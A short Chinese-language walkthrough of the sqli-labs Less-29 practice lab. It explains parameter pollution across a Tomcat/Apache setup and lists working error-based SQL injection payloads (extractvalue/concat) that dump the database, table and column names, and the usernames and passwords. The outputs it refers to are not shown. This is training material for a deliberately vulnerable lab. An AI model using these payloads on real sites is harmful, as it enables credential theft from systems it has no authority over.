sqli-labs/Less-29

这一关主要是为了我们能够了解服务器的双层架构

首先我们先来了解一下服务器的双层架构吧

我们作为客户端将我们的信息提交到服务器上面去直接接受我们的参数的是tomcat，然后接受我们的下一个参数的是apache而phpstudy上面部署的是apache所以我们得设置两个参数供两个服务器软件接收 

判断一下注入类型 输入如下

id=1'&&id=1 and 1=2

回显如下

 说明属于字符型

然后判断是单引还是双引

输入1' 回显如下

出现报错信息说明可以使用报错注入来解题 

开始爆库

输入如下

id=1'&&id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

 回显如下

爆表 输入如下

id=1'&&id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+

 回显如下

爆字段 输入如下

id=1'&&id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),0x7e))--+

 回显如下

爆用户名和密码相关信息 输入如下

id=1'&&id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e))--+

 回显如下

成功解题 嗨嗨！！！